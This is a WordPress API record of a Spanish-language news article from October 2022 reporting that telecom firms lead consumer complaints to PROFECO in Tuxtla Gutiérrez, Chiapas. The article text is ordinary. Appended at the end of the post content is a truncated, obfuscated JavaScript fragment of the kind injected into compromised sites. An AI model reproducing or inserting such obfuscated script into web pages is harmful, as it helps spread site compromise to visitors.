{"id":6272,"date":"2022-10-31T00:41:06","date_gmt":"2022-10-31T00:41:06","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=6272"},"modified":"2022-10-31T00:41:07","modified_gmt":"2022-10-31T00:41:07","slug":"empresas-de-telefonia-y-telecomunicaciones-las-mas-denunciadas-ante-la-profeco","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=6272","title":{"rendered":"Empresas de telefon\u00eda y telecomunicaciones, las m\u00e1s denunciadas ante la PROFECO"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"536\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/FB_IMG_1667176514527.jpg\" alt=\"\" class=\"wp-image-6273\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/FB_IMG_1667176514527.jpg 720w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/FB_IMG_1667176514527-300x223.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n\n\n\n<p><br>Rodolfo Flores.<br>Agencia ReporteCiudadano, 30 de octubre del 2022. Tuxtla Guti\u00e9rrez.- La titular de la Oficina de la Defensa del Consumidor (ODECO) Fernanda Trujillo di\u00f3 a conocer que, en Chiapas son las empresas de telecomunicaciones las que son m\u00e1s se\u00f1aladas por irregularidades ante la Profeco.<br>La funcionaria se\u00f1al\u00f3 que la oficina de Tuxtla Guti\u00e9rrez ha recibido poco m\u00e1s de 1100 quejas en lo que va de 2022.<br>\u201cLas empresas m\u00e1s denunciadas son las dedicadas al ramo de las telecomunicaciones, como AT&amp;T, Movistar, Telcel, Megacable entre otras\u201d, dijo.<br>Detall\u00f3 que en el rubro de las telecomunicaciones, se engloban los servicios de internet, televisi\u00f3n de paga, telefon\u00eda fija y telefon\u00eda m\u00f3vil.<br>\u201cPor lo que las denuncias son muy diversas, desde fallas en el servicio, irregularidades en los cobros, publicidad enga\u00f1osa hasta incumplimiento de contrato, son las m\u00e1s comunes\u201d, expres\u00f3.<br>Trujillo Guti\u00e9rrez precis\u00f3 que, el segundo lugar de las empresas m\u00e1s denunciadas lo ocupa la Comisi\u00f3n Federal de Electricidad (CFE), le sigue la tienda departamental Liverpool en el tercer lugar y el cuarto puesto en denuncias lo ocupa el Sistema Municipal de Agua Potable y Alcantarillado de Tuxtla Guti\u00e9rrez (SMAPA).<\/p>\n\n\n\n<p>La titular de la ODECO en Tuxtla Guti\u00e9rrez expuso que antes de adquirir un servicio de telecomunicaciones se deben conocer los t\u00e9rminos y condiciones establecidos en el contrato, el cual debe tener una clave de registro ante la PROFECO.<br>En el Buen Fin 2022, la PROFECO estar\u00e1 implementando operativos en diferentes municipios, en plazas comerciales principalmente para verificar que, las promociones se cumplan cabalmente.<br>Durante el Buen Fin es com\u00fan que las denuncias de este tipo se incrementen, por ello estar\u00e1n atentos a cualquier llamado de la poblaci\u00f3n.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Rodolfo Flores.Agencia ReporteCiudadano, 30 de octubre del 2022. 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